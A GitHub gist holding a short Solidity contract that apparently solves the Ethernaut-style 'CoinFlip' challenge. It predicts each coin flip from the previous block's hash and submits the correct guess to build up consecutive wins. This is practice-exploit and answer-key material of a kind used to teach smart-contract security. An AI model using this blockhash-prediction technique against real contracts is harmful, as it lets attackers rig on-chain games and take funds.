Created
June 22, 2023 00:57
-
-
Save jmcph4/90b4031cb52c4c75bbc4b83083bbd0ea to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.0; | |
| import "src/CoinFlip.sol"; | |
| contract Frontend { | |
| uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
| function step(CoinFlip flipper) public returns (uint256) { | |
| require( | |
| flipper.flip( | |
| uint256( | |
| blockhash( | |
| block.number - 1 | |
| ) | |
| ) / FACTOR == 1 ? true : false), | |
| "not submitting incorrect guess" | |
| ); | |
| return flipper.consecutiveWins(); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment